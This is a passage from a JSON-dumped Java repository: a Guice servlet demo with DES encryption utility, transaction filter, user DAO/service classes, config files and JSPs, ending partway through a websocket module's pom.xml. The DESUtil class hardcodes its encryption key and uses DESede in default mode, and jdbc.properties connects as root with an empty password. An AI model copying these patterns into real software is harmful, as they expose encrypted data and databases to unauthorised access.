    "content": "package com.jun.plugin.servlet.guice.core.util.encryption.des;\n\nimport java.security.Security;\nimport javax.crypto.Cipher;\nimport javax.crypto.KeyGenerator;\nimport javax.crypto.SecretKey;\nimport javax.crypto.spec.SecretKeySpec;\n\npublic class DESUtil {\n\n\tpublic static int _DES = 1;\n\tpublic static int _DESede = 2;\n\tpublic static int _Blowfish = 3;\n\n\tprivate Cipher p_Cipher;\n\tprivate SecretKey p_Key;\n\tprivate String p_Algorithm;\n\tprivate static DESUtil _instance;\n\n\tprivate static String hexKey = \"183712131312314353484591dadbc382a18340bf83414536\";/*密钥 */\n\n\tprivate void selectAlgorithm(int al) {\n\t\tswitch (al) {\n\t\tdefault:\n\t\tcase 1:\n\t\t\tthis.p_Algorithm = \"DES\";\n\t\t\tbreak;\n\t\tcase 2:\n\t\t\tthis.p_Algorithm = \"DESede\";\n\t\t\tbreak;\n\t\tcase 3:\n\t\t\tthis.p_Algorithm = \"Blowfish\";\n\t\t\tbreak;\n\t\t}\n\t}\n\n\tpublic DESUtil(int algorithm) throws Exception {\n\t\tthis.selectAlgorithm(algorithm);\n\t\tSecurity.addProvider(new com.sun.crypto.provider.SunJCE());\n\t\tthis.p_Cipher = Cipher.getInstance(this.p_Algorithm);\n\t}\n\n\tpublic byte[] getKey() {\n\t\treturn this.checkKey().getEncoded();\n\t}\n\n\tprivate SecretKey checkKey() {\n\t\ttry {\n\t\t\tif (this.p_Key == null) {\n\t\t\t\tKeyGenerator keygen = KeyGenerator\n\t\t\t\t\t\t.getInstance(this.p_Algorithm);\n\t\t\t\tthis.p_Key = keygen.generateKey();\n\t\t\t}\n\t\t} catch (Exception nsae) {\n\t\t}\n\t\treturn this.p_Key;\n\t}\n\n\tpublic void setKey(byte[] enckey) {\n\t\tthis.p_Key = new SecretKeySpec(enckey, this.p_Algorithm);\n\t}\n\n\tpublic byte[] encode(byte[] data) throws Exception {\n\t\tthis.p_Cipher.init(Cipher.ENCRYPT_MODE, this.checkKey());\n\t\treturn this.p_Cipher.doFinal(data);\n\t}\n\n\tpublic byte[] decode(byte[] encdata, byte[] enckey) throws Exception {\n\t\tthis.setKey(enckey);\n\t\tthis.p_Cipher.init(Cipher.DECRYPT_MODE, this.p_Key);\n\t\treturn this.p_Cipher.doFinal(encdata);\n\t}\n\n\tpublic String byte2hex(byte[] b) {\n\t\tString hs = \"\";\n\t\tString stmp = \"\";\n\t\tfor (int i = 0; i < b.length; i++) {\n\t\t\tstmp = Integer.toHexString(b[i] & 0xFF);\n\t\t\tif (stmp.length() == 1) {\n\t\t\t\ths += \"0\" + stmp;\n\t\t\t} else {\n\t\t\t\ths += stmp;\n\t\t\t}\n\t\t}\n\t\treturn hs.toUpperCase();\n\t}\n\n\tpublic byte[] hex2byte(String hex) throws IllegalArgumentException {\n\t\tif (hex.length() % 2 != 0) {\n\t\t\tSystem.out.println(\"hex:\" + hex + \"\\nlength:\" + hex.length());\n\t\t\tthrow new IllegalArgumentException();\n\t\t}\n\t\tchar[] arr = hex.toCharArray();\n\t\tbyte[] b = new byte[hex.length() / 2];\n\t\tfor (int i = 0, j = 0, l = hex.length(); i < l; i++, j++) {\n\t\t\tString swap = \"\" + arr[i++] + arr[i];\n\t\t\tint byteint = Integer.parseInt(swap, 16) & 0xFF;\n\t\t\tb[j] = new Integer(byteint).byteValue();\n\t\t}\n\t\treturn b;\n\t}\n\n\tpublic static String encrypt(String s) throws Exception {\n\t\tif (null == _instance) {\n\t\t\t_instance = new DESUtil(DESUtil._DESede);\n\t\t}\n\t\t_instance.setKey(_instance.hex2byte(_instance.hexKey));\n\t\tbyte[] enc = _instance.encode(s.getBytes()); //生成加密文件(byte)\n\t\tString hexenc = _instance.byte2hex(enc);\n\t\treturn hexenc;\n\t}\n\n\tpublic static String decrypt(String s) throws Exception {\n\t\tif (null == _instance) {\n\t\t\t_instance = new DESUtil(DESUtil._DESede);\n\t\t}\n\t\treturn new String(_instance.decode(_instance.hex2byte(s), _instance\n\t\t\t\t.hex2byte(_instance.hexKey)));\n\t}\n\n\tpublic static void main(String[] args) throws Exception {\n\t\tString passwd = \"root\";\n\t\tSystem.out.println(\"明文：\" + DESUtil.encrypt(passwd));//加密\n\t\tchar s = 47;\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webservlet_guice_dbutil/src/main/java/com/jun/plugin/servlet/guice/core/web/filter/TransactionFilter.java",
    "content": "package com.jun.plugin.servlet.guice.core.web.filter;\n\nimport java.io.IOException;\nimport java.sql.Connection;\nimport java.sql.SQLException;\n\nimport javax.servlet.Filter;\nimport javax.servlet.FilterChain;\nimport javax.servlet.FilterConfig;\nimport javax.servlet.ServletException;\nimport javax.servlet.ServletRequest;\nimport javax.servlet.ServletResponse;\nimport javax.servlet.annotation.WebFilter;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\n\nimport com.jun.plugin.servlet.guice.core.db.ConnectionContext;\nimport com.jun.plugin.servlet.guice.core.db.JdbcUtils;\n\n/**\n * Servlet Filter implementation class TransactionFilter\n */\n@WebFilter(\"/TransactionFilter\")\npublic class TransactionFilter implements Filter {\n\n\t/**\n\t * Default constructor.\n\t */\n\tpublic TransactionFilter() {\n\n\t}\n\n\t/**\n\t * @see Filter#destroy()\n\t */\n\tpublic void destroy() {\n\t\t// TODO Auto-generated method stub\n\t}\n\n\t/**\n\t * @see Filter#doFilter(ServletRequest, ServletResponse, FilterChain)\n\t */\n\tpublic void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)\n\t\t\tthrows IOException, ServletException {\n\t\t\n\t\tConnection connection = null;\n\t\ttry {\n\t\t\t// 1、获取数据库连接对象Connection\n\t\t\tconnection = JdbcUtils.getConnection();\n\t\t\t// 2、开启事务\n\t\t\tconnection.setAutoCommit(false);\n\t\t\t// 3、利用ThreadLocal把获取数据库连接对象Connection和当前线程绑定\n\t\t\tConnectionContext.getInstance().bind(connection);\n\t\t\t// 4、把请求转发给目标Servlet\n\t\t\tchain.doFilter(request, response);\n\t\t\t// 5、提交事务\n\t\t\tconnection.commit();\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t\t// 6、回滚事务\n\t\t\ttry {\n\t\t\t\tconnection.rollback();\n\t\t\t} catch (SQLException e1) {\n\t\t\t\te1.printStackTrace();\n\t\t\t}\n\t\t\tHttpServletRequest req = (HttpServletRequest) request;\n\t\t\tHttpServletResponse res = (HttpServletResponse) response;\n\t\t\t// 出现异常之后跳转到错误页面\n\t\t\tres.sendRedirect(req.getContextPath() + \"/error.jsp\");\n\t\t} finally {\n\t\t\t// 7、解除绑定\n\t\t\tConnectionContext.getInstance().remove();\n\t\t\t// 8、关闭数据库连接\n\t\t\ttry {\n\t\t\t\tconnection.close();\n\t\t\t} catch (SQLException e) {\n\t\t\t\te.printStackTrace();\n\t\t\t}\n\t\t}\n\t}\n\n\t/**\n\t * @see Filter#init(FilterConfig)\n\t */\n\tpublic void init(FilterConfig fConfig) throws ServletException {\n\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webservlet_guice_dbutil/src/main/java/com/jun/plugin/servlet/guice/core/web/listener/GoogleGuiceServletContextListener.java",
    "content": "package com.jun.plugin.servlet.guice.core.web.listener;\n\nimport com.google.inject.Guice;\nimport com.google.inject.Injector;\nimport com.google.inject.servlet.GuiceServletContextListener;\nimport com.jun.plugin.servlet.guice.user.UserModule;\n\npublic class GoogleGuiceServletContextListener extends GuiceServletContextListener {\n\n\t@Override\n\tprotected Injector getInjector() {\n\t\t\n\t\treturn Guice.createInjector(new UserModule());\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webservlet_guice_dbutil/src/main/java/com/jun/plugin/servlet/guice/sql/sql.sql",
    "content": "CREATE TABLE `users` (\n\t`id` BIGINT(20) NOT NULL AUTO_INCREMENT,\n\t`account` VARCHAR(50) NULL DEFAULT NULL,\n\t`user_id` BIGINT(20) NOT NULL,\n\tPRIMARY KEY (`id`)\n)\nCOMMENT='user表'\nCOLLATE='latin1_swedish_ci'\nENGINE=InnoDB\n;\n"
  },
  {
    "path": "jun_java_plugins/jun_webservlet_guice_dbutil/src/main/java/com/jun/plugin/servlet/guice/user/UserModule.java",
    "content": "package com.jun.plugin.servlet.guice.user;\n\nimport com.google.inject.AbstractModule;\nimport com.google.inject.servlet.ServletModule;\nimport com.jun.plugin.servlet.guice.user.action.UserServlet;\nimport com.jun.plugin.servlet.guice.user.service.UserService;\nimport com.jun.plugin.servlet.guice.user.service.impl.UserServiceImpl;\n\npublic class UserModule extends AbstractModule {\n\n\n\t@Override\n\tprotected void configure() {\n\t\tinstall(new ServletModule(){\n\t\t\t@Override\n\t\t\tprotected void configureServlets() {\n\t\t\t\tSystem.out.println(\"配置访问的servlet\");\n\t\t\t\tserve(\"/UserServlet\").with(UserServlet.class);\n\t\t\t}\n\n\t\t\t\n\t\t});\n\t\t\n\t\t\n\t}\n\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webservlet_guice_dbutil/src/main/java/com/jun/plugin/servlet/guice/user/action/Test.java",
    "content": "package com.jun.plugin.servlet.guice.user.action;\n\npublic class Test {\n\n\tpublic static void main(String[] args) {\n\t\t//得到程序运行时的当前线程\n        Thread currentThread = Thread.currentThread();\n        System.out.println(currentThread);\n        //ThreadLocal一个容器，向这个容器存储的对象，在当前线程范围内都可以取得出来\n        ThreadLocal<String> t = new ThreadLocal<String>();\n        //把某个对象绑定到当前线程上 对象以键值对的形式存储到一个Map集合中，对象的的key是当前的线程，如： map(currentThread,\"aaa\")\n        t.set(\"aaa\");\n        //获取绑定到当前线程中的对象\n        String value = t.get();\n        //输出value的值是aaa\n        System.out.println(value);\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webservlet_guice_dbutil/src/main/java/com/jun/plugin/servlet/guice/user/action/UserServlet.java",
    "content": "package com.jun.plugin.servlet.guice.user.action;\n\nimport java.io.IOException;\nimport java.util.ArrayList;\nimport java.util.List;\n\nimport javax.servlet.ServletException;\nimport javax.servlet.http.HttpServlet;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\n\nimport com.google.inject.Guice;\nimport com.google.inject.Inject;\nimport com.google.inject.Injector;\nimport com.google.inject.Singleton;\nimport com.jun.plugin.servlet.guice.user.UserModule;\nimport com.jun.plugin.servlet.guice.user.entity.User;\nimport com.jun.plugin.servlet.guice.user.service.UserService;\nimport com.jun.plugin.servlet.guice.user.service.impl.UserServiceImpl;\n\n/**\n * Servlet implementation class UserServlet\n */\n@Singleton\npublic class UserServlet extends HttpServlet {\n\t\n\t\n\tprivate static final long serialVersionUID = 1L;\n\n\t@Inject\n\tprivate UserService userService;\n\t\n\t@Inject\n\tprivate Injector inj;\n\n\tprotected void doGet(HttpServletRequest request, HttpServletResponse response)\n\t\t\tthrows ServletException, IOException {\n\n\t\tString account = request.getParameter(\"account\");\n\t\tint userId = Integer.valueOf(request.getParameter(\"userid\"));\n\t\tUser u = new User();\n\t\tu.setAccount(account);\n\t\tu.setUser_id(userId);\n\t\tList<User> ulist=new ArrayList<>();\n\t\tulist.add(u);\n\t\t//UserService userService = new UserServiceImpl();\n\t\ttry {\n\t\t\t//inj.getInstance(UserService.class).add(u);\n\t\t\tuserService.add(u);\n\t\t\t\n\t\t\tSystem.out.println(\"ok\");\n\t\t} catch (Exception e) {\n\t\t\tSystem.out.println(\"error\");\n\t\t\te.printStackTrace();\n\t\t\t// 注意：调用service层的方法出异常之后，继续将异常抛出，这样在TransactionFilter就能捕获到抛出的异常，继而执行事务回滚操作\n\t\t\tthrow new RuntimeException(e);\n\t\t}\n\n\t}\n\n\t public static void main(String[] args) throws Exception {  \n\t        Injector injector = Guice.createInjector(new UserModule());  \n\t        UserService service = injector.getInstance(UserServiceImpl.class);  \n\t        User u = new User();\n\t\t\tu.setAccount(\"google guice!\");\n\t\t\tu.setUser_id(1201);\n\t\t\tservice.add(u);\n\t    }  \n\t\n\t/**\n\t * @see HttpServlet#doPost(HttpServletRequest request, HttpServletResponse\n\t *      response)\n\t */\n\tprotected void doPost(HttpServletRequest request, HttpServletResponse response)\n\t\t\tthrows ServletException, IOException {\n\n\t\tdoGet(request, response);\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webservlet_guice_dbutil/src/main/java/com/jun/plugin/servlet/guice/user/dao/UserDao.java",
    "content": "package com.jun.plugin.servlet.guice.user.dao;\n\nimport java.sql.SQLException;\n\nimport com.google.inject.ImplementedBy;\nimport com.jun.plugin.servlet.guice.user.dao.impl.UserDaoImpl;\n\n@ImplementedBy(UserDaoImpl.class)\npublic interface UserDao {\n\tvoid add(String name,int userId) throws SQLException;\n\t\n\tvoid addTest() throws SQLException;\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webservlet_guice_dbutil/src/main/java/com/jun/plugin/servlet/guice/user/dao/impl/UserDaoImpl.java",
    "content": "package com.jun.plugin.servlet.guice.user.dao.impl;\n\nimport java.sql.SQLException;\nimport java.util.ArrayList;\nimport java.util.Date;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\nimport org.apache.commons.dbutils.QueryRunner;\n\nimport com.google.inject.Singleton;\nimport com.jun.plugin.servlet.guice.core.db.ConnectionContext;\nimport com.jun.plugin.servlet.guice.core.db.dao.impl.BaseDaoImpl;\nimport com.jun.plugin.servlet.guice.core.db.model.Page;\nimport com.jun.plugin.servlet.guice.user.dao.UserDao;\nimport com.jun.plugin.servlet.guice.user.entity.User;\n\n@Singleton\npublic class UserDaoImpl extends BaseDaoImpl<User,Integer> implements UserDao {\n\t\n\n\t@Override\n\tpublic void add(String name, int userId) throws SQLException {\n\t\tString sql = \"INSERT INTO `test`.`users` (`account`, `user_id`) VALUES (?, ?);\";\n\t\tObject params[] = { name, userId };\n\t\t//qr.update(ConnectionContext.getInstance().getCon(), sql, params);\n\t\tsuper.add(sql, params);\n\t\t\n\t\tString tableName=\"users\";\n\t\tList<Integer> ids=new ArrayList<>();\n\t\tids.add(2);\n\t\tids.add(3);\n        List<User> list = super.findByIds(tableName, ids);\n        for(User u : list){\n        \t System.out.println(u.getId()+\" \"+u.getAccount()+\" \"+u.getUser_id());\n        }\n        Map<String, Object> map=new HashMap<>();\n        map.put(\"id\", 2);\n       /* map.put(\"account\", \"chidongxie\");\n        Page<User> pageList=super.findByPage(tableName, 0, 10, map);\n        System.out.println(pageList.getTotalCount());\n        System.out.println(pageList.getResults().size());*/\n        \n        String dataSql=\"select * from users limit 0,20\";\n        String countSql=\"select count(1) as count from users\";\n        Page<User> pageUserlist=super.findByPage(dataSql, countSql);\n        for(User u :pageUserlist.getResults()){\n        \tSystem.out.println(u.getAccount()+\" \"+u.getUser_id()+\" \"+new Date());\n        }\n\n\t}\n\n\t@Override\n\tpublic void addTest() throws SQLException {\n\t\tQueryRunner qr = new QueryRunner();\n\t\tString sql = \"INSERT INTO `test`.`users` (`account`, `user_id`) VALUES (?, ?);\";\n\t\tObject params[] = { \"test\", new Date()};\n\t\tqr.update(ConnectionContext.getInstance().getCon(), sql, params);\n\t}\n\t\n\t\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webservlet_guice_dbutil/src/main/java/com/jun/plugin/servlet/guice/user/entity/User.java",
    "content": "package com.jun.plugin.servlet.guice.user.entity;\n\npublic class User {\n\n\tprivate int id;\n\t\n\tprivate String account;\n\t\n\tprivate int user_id;\n\n\tpublic int getId() {\n\t\treturn id;\n\t}\n\n\tpublic void setId(int id) {\n\t\tthis.id = id;\n\t}\n\n\tpublic String getAccount() {\n\t\treturn account;\n\t}\n\n\tpublic void setAccount(String account) {\n\t\tthis.account = account;\n\t}\n\n\tpublic int getUser_id() {\n\t\treturn user_id;\n\t}\n\n\tpublic void setUser_id(int user_id) {\n\t\tthis.user_id = user_id;\n\t}\n\t\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webservlet_guice_dbutil/src/main/java/com/jun/plugin/servlet/guice/user/service/UserService.java",
    "content": "package com.jun.plugin.servlet.guice.user.service;\n\n\nimport java.util.List;\n\nimport com.google.inject.ImplementedBy;\nimport com.jun.plugin.servlet.guice.user.entity.User;\nimport com.jun.plugin.servlet.guice.user.service.impl.UserServiceImpl;\n\n@ImplementedBy(UserServiceImpl.class)\npublic interface UserService {\n\n\tvoid add(User u) throws Exception;\n\t\n\tvoid addTwoUser(List<User> ulist) throws Exception;\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webservlet_guice_dbutil/src/main/java/com/jun/plugin/servlet/guice/user/service/impl/UserServiceImpl.java",
    "content": "package com.jun.plugin.servlet.guice.user.service.impl;\n\nimport java.util.List;\n\nimport com.google.inject.Inject;\nimport com.google.inject.Singleton;\nimport com.jun.plugin.servlet.guice.user.dao.UserDao;\nimport com.jun.plugin.servlet.guice.user.entity.User;\nimport com.jun.plugin.servlet.guice.user.service.UserService;\n\n@Singleton\npublic class UserServiceImpl implements UserService {\n\t\n\t\n\t@Inject\n\tprivate UserDao userDao;\n\n\t@Override\n\tpublic void add(User u) throws Exception {\n\t\n\t\tuserDao.add(u.getAccount(), u.getUser_id());\n\t}\n\n\t@Override\n\tpublic void addTwoUser(List<User> ulist) throws Exception {\n\t\tfor(User u : ulist){\n\t\t\tadd(u);\n\t\t}\n\t\tuserDao.addTest();\n\t\t\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_webservlet_guice_dbutil/src/main/java/jdbc.properties",
    "content": "\ndriver=com.mysql.jdbc.Driver\nurl=jdbc:mysql://localhost:3306/test?useUnicode=true&characterEncoding=utf8\nusername=root\npassword="
  },
  {
    "path": "jun_java_plugins/jun_webservlet_guice_dbutil/src/main/webapp/META-INF/MANIFEST.MF",
    "content": "Manifest-Version: 1.0\nClass-Path: \n\n"
  },
  {
    "path": "jun_java_plugins/jun_webservlet_guice_dbutil/src/main/webapp/WEB-INF/jetty-web.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE Configure PUBLIC \"-//Jetty//Configure//EN\" \"http://www.eclipse.org/jetty/configure.dtd\">\n\n<Configure class=\"org.eclipse.jetty.webapp.WebAppContext\">\n    <Set name=\"contextPath\">/api/v1</Set>\n</Configure>"
  },
  {
    "path": "jun_java_plugins/jun_webservlet_guice_dbutil/src/main/webapp/WEB-INF/web.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<web-app xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n\txmlns=\"http://java.sun.com/xml/ns/javaee\"\n\txsi:schemaLocation=\"http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd\"\n\tid=\"WebApp_ID\" version=\"3.0\">\n\t<display-name>jun_webservlet_guice_dbutil</display-name>\n\t<filter>\n\t\t<filter-name>TransactionFilter</filter-name>\n\t\t<filter-class>com.jun.plugin.servlet.guice.core.web.filter.TransactionFilter\n\t\t</filter-class>\n\t</filter>\n\t<filter-mapping>\n\t\t<filter-name>TransactionFilter</filter-name>\n\t\t<url-pattern>/*</url-pattern>\n\t</filter-mapping>\n\n\t<filter>\n\t\t<filter-name>guiceFilter</filter-name>\n\t\t<filter-class>com.google.inject.servlet.GuiceFilter</filter-class>\n\t</filter>\n\t<filter-mapping>\n\t\t<filter-name>guiceFilter</filter-name>\n\t\t<url-pattern>/*</url-pattern>\n\t</filter-mapping>\n\n\t<listener>\n\t\t<listener-class>com.jun.plugin.servlet.guice.core.web.listener.GoogleGuiceServletContextListener\n\t\t</listener-class>\n\t</listener>\n\n\n\t<listener>\n\t\t<listener-class>com.jun.plugin.servlet.guice.GuiceServletConfig\n\t\t</listener-class>\n\t</listener>\n\n\t<servlet>\n\t\t<servlet-name>UserServlet</servlet-name>\n\t\t<servlet-class>com.jun.plugin.servlet.guice.user.action.UserServlet</servlet-class>\n\t</servlet>\n\t<servlet-mapping>\n\t\t<servlet-name>UserServlet</servlet-name>\n\t\t<url-pattern>/UserServlet</url-pattern>\n\t</servlet-mapping>\n\t<welcome-file-list>\n\t\t<welcome-file>index.jsp</welcome-file>\n\t</welcome-file-list>\n</web-app>"
  },
  {
    "path": "jun_java_plugins/jun_webservlet_guice_dbutil/src/main/webapp/error.jsp",
    "content": "<%@ page language=\"java\" contentType=\"text/html; charset=UTF-8\"\n    pageEncoding=\"UTF-8\"%>\n<!DOCTYPE html PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\" \"http://www.w3.org/TR/html4/loose.dtd\">\n<html>\n<head>\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\">\n<title>Insert title here</title>\n</head>\n<body>\n\terror transaction!\n</body>\n</html>"
  },
  {
    "path": "jun_java_plugins/jun_webservlet_guice_dbutil/src/main/webapp/index.jsp",
    "content": "<%@ page language=\"java\" contentType=\"text/html; charset=UTF-8\"\n    pageEncoding=\"UTF-8\"%>\n<!DOCTYPE html PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\" \"http://www.w3.org/TR/html4/loose.dtd\">\n<html>\n<head>\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\">\n<title>Insert title here</title>\n</head>\n<body>\n\thello you，it is nice time!\n</body>\n</html>"
  },
  {
    "path": "jun_java_plugins/jun_webservlet_guice_dbutil/src/test/java/com/jun/plugin/servlet/guice/HelloServletTest.java",
    "content": "package com.jun.plugin.servlet.guice;\n\nimport static org.junit.Assert.assertEquals;\nimport static org.mockito.Mockito.mock;\nimport static org.mockito.Mockito.when;\n\nimport org.junit.Before;\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.mockito.InjectMocks;\nimport org.mockito.Mock;\nimport org.mockito.runners.MockitoJUnitRunner;\n\nimport java.io.PrintWriter;\nimport java.io.StringWriter;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\n\n@RunWith(MockitoJUnitRunner.class)\npublic class HelloServletTest {\n\n  @InjectMocks\n  private HelloServlet servlet;\n\n  @Mock\n  private HelloService service;\n\n  @Before\n  public void setUp() throws Exception {\n    when(service.echo()).thenReturn(\"Hello World!\");\n  }\n  \n\n  @Test\n  public void testDoGet() throws Exception {\n    HttpServletRequest request = mock(HttpServletRequest.class);\n    HttpServletResponse response = mock(HttpServletResponse.class);\n\n    StringWriter stringWriter = new StringWriter();\n    PrintWriter printWriter = new PrintWriter(stringWriter);\n    when(response.getWriter()).thenReturn(printWriter);\n\n    servlet.doGet(request, response);\n    String result = stringWriter.getBuffer().toString().trim();\n\n    assertEquals(result, \"Hello World!\");\n  }\n\n}"
  },
  {
    "path": "jun_java_plugins/jun_websocket/pom.xml",
    "content": "<?xml version=\"1.0\"?>\n<project\n\txsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\"\n\txmlns=\"http://maven.apache.org/POM/4.0.0\"\n\txmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\">\n\t<modelVersion>4.0.0</modelVersion>\n\t<groupId>io.github.wujun728</groupId>\n\t<artifactId>jun_websocket</artifactId>\n\t<version>1.0</version>\n\t<packaging>war</packaging>\n\n\t<properties>\n\t\t<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n\t\t<maven.compiler.source>1.8</maven.compiler.source>\n\t\t<maven.compiler.target>1.8</maven.compiler.target>\n\t\t<spring.version>5.0.2.RELEASE</spring.version>\n\t\t<slf4j.version>1.6.6</slf4j.version>\n\t\t<log4j.version>1.2.12</log4j.version>\n\t\t<oracle.version>11.2.0.1.0</oracle.version>\n\t\t<mybatis.version>3.4.5</mybatis.version>\n\t\t<spring.security.version>5.0.1.RELEASE</spring.security.version>\n\t\t<log4j2.version>2.9.1</log4j2.version>\n\t</properties>\n\n\t<dependencies>\n\t\t<!-- slf4j api核心jar -->\n\t\t<dependency>\n\t\t\t<groupId>org.slf4j</groupId>\n\t\t\t<artifactId>slf4j-api</artifactId>\n\t\t\t<version>1.7.25</version>\n\t\t</dependency>\n\n\t\t<!--用于与slf4j保持桥接，slf4j到log4j2的适配层 -->\n\t\t<dependency>\n\t\t\t<groupId>org.apache.logging.log4j</groupId>\n\t\t\t<artifactId>log4j-slf4j-impl</artifactId>\n\t\t\t<version>${log4j2.version}</version>\n\t\t\t<!--设置scope为runtime是为了防止开发人员在代码中直接使用日志实现类 -->\n\t\t\t<scope>runtime</scope>\n\t\t\t<!--设置optional，是为了防止依赖引用该项目时，直接引入日志实现类 -->\n\t\t\t<optional>true</optional>\n\t\t</dependency>\n\n\t\t<!-- log4j2 核心jar，需要两个 一个core是实现，一个api是接口 -->\n\t\t<dependency>\n\t\t\t<groupId>org.apache.logging.log4j</groupId>\n\t\t\t<artifactId>log4j-core</artifactId>\n\t\t\t<version>${log4j2.version}</version>\n\t\t\t<scope>runtime</scope>\n\t\t\t<optional>true</optional>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.apache.logging.log4j</groupId>\n\t\t\t<artifactId>log4j-api</artifactId>\n\t\t\t<version>${log4j2.version}</version>\n\t\t\t<scope>runtime</scope>\n\t\t\t<optional>true</optional>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>junit</groupId>\n\t\t\t<artifactId>junit</artifactId>\n\t\t\t<version>3.8.1</version>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\n\t\t<!-- 目标数据库，这里采用mysql -->\n\t\t<dependency>\n\t\t\t<groupId>mysql</groupId>\n\t\t\t<artifactId>mysql-connector-java</artifactId>\n\t\t\t<version>5.1.40</version>\n\t\t</dependency>\n\n\t\t<!-- <dependency> -->\n\t\t<!-- <groupId>io.spring.platform</groupId> -->\n\t\t<!-- <artifactId>platform-bom</artifactId> -->\n\t\t<!-- <version>Cairo-RELEASE</version> -->\n\t\t<!-- <scope>import</scope> -->\n\t\t<!-- <type>pom</type> -->\n\t\t<!-- </dependency> -->\n\n\t\t<dependency>\n\t\t\t<groupId>org.aspectj</groupId>\n\t\t\t<artifactId>aspectjweaver</artifactId>\n\t\t\t<version>1.6.8</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework</groupId>\n\t\t\t<artifactId>spring-aop</artifactId>\n\t\t\t<version>${spring.version}</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework</groupId>\n\t\t\t<artifactId>spring-context</artifactId>\n\t\t\t<version>${spring.version}</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework</groupId>\n\t\t\t<artifactId>spring-context-support</artifactId>\n\t\t\t<version>${spring.version}</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework</groupId>\n\t\t\t<artifactId>spring-web</artifactId>\n\t\t\t<version>${spring.version}</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework</groupId>\n\t\t\t<artifactId>spring-orm</artifactId>\n\t\t\t<version>${spring.version}</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework</groupId>\n\t\t\t<artifactId>spring-beans</artifactId>\n\t\t\t<version>${spring.version}</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework</groupId>\n\t\t\t<artifactId>spring-core</artifactId>\n\t\t\t<version>${spring.version}</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework</groupId>\n\t\t\t<artifactId>spring-test</artifactId>\n\t\t\t<version>${spring.version}</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework</groupId>\n\t\t\t<artifactId>spring-webmvc</artifactId>\n\t\t\t<version>${spring.version}</version>\n\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>org.springframework</groupId>\n\t\t\t<artifactId>spring-tx</artifactId>\n\t\t\t<version>${spring.version}</version>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>junit</groupId>\n\t\t\t<artifactId>junit</artifactId>\n\t\t\t<version>4.12</version>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\n\t\t<dependency>\n\t\t\t<groupId>javax.servlet</groupId>\n\t\t\t<artifactId>javax.servlet-api</artifactId>\n\t\t\t<version>3.1.0</version>\n\t\t\t<scope>provided</scope>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>javax.servlet.jsp</groupId>\n\t\t\t<artifactId>jsp-api</artifactId>\n\t\t\t<version>2.0</version>\n\t\t\t<scope>provided</scope>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>jstl</groupId>\n\t\t\t<artifactId>jstl</artifactId>\n\t\t\t<version>1.2</version>\n\t\t</dependency>\n\t\t<!-- <dependency> -->\n\t\t<!-- <groupId>org.apache.logging.log4j</groupId> -->\n\t\t<!-- <artifactId>log4j-slf4j-impl</artifactId> -->\n\t\t<!-- <scope>runtime</scope> -->\n\t\t<!-- <optional>true</optional> -->\n\t\t<!-- </dependency> -->\n\t\t<!-- <dependency> -->\n\t\t<!-- <groupId>org.apache.logging.log4j</groupId> -->\n\t\t<!-- <artifactId>log4j-core</artifactId> -->\n\t\t<!-- <scope>runtime</scope> -->\n\t\t<!-- <optional>true</optional> -->\n\t\t<!-- </dependency> -->\n\t\t<!-- <dependency> -->\n\t\t<!-- <groupId>org.slf4j</groupId> -->\n\t\t<!-- <artifactId>slf4j-api</artifactId> -->\n\t\t<!-- <optional>true</optional> -->\n\t\t<!-- </dependency> 